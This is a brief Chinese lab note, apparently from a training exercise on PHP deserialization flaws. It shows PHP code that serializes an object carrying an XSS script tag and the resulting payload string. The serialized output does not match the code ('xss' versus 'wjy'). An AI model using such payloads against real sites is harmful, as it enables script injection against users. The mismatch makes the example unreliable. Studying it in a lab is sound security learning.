查看php反序列化漏洞的概述，了解序列化与反序列化。

构造payload

<?php
class S{
    var $test = "<script>alert('wjy')</script>";
}
$c = new S();
echo(serialize($c));
?>

将对象序列化为`O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}`

反序列化漏洞利用

漏洞利用成功，成功进入wjy。